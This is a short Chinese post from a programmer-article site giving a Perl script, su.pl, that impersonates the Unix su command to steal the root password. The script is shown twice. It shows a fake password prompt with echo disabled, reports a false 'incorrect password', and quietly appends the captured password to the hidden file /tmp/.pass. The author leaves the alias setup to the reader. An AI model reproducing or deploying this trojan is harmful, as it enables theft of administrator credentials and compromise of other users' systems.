冒充su ,perl写的su.pl盗取root密码
程序员文章站
2022-03-22 13:21:57
我改了一下,把回显关了 加了个延时: #!/usr/bin/perl # written by xi4oyu ....
我改了一下,把回显关了 加了个延时:
#!/usr/bin/perl
# written by xi4oyu <evil.xi4oyu@gmail.com>.
print "password: ";
`stty -echo`;
$s1=<stdin>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="password is: ";
$s3=" ".`date +%y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);
很明显直接用是8行的,还有别名恢复等工作要做,各位看官自己搞定!
#!/usr/bin/perl
# written by xi4oyu <evil.xi4oyu@gmail.com>.
print "password: ";
`stty -echo`;
$s1=<stdin>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="password is: ";
$s3=" ".`date +%y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);
很明显直接用是8行的,还有别名恢复等工作要做,各位看官自己搞定!
上一篇: perl生成特定碱基比例的随机序列的代码
下一篇: 只有一行的Perl程序第1/3页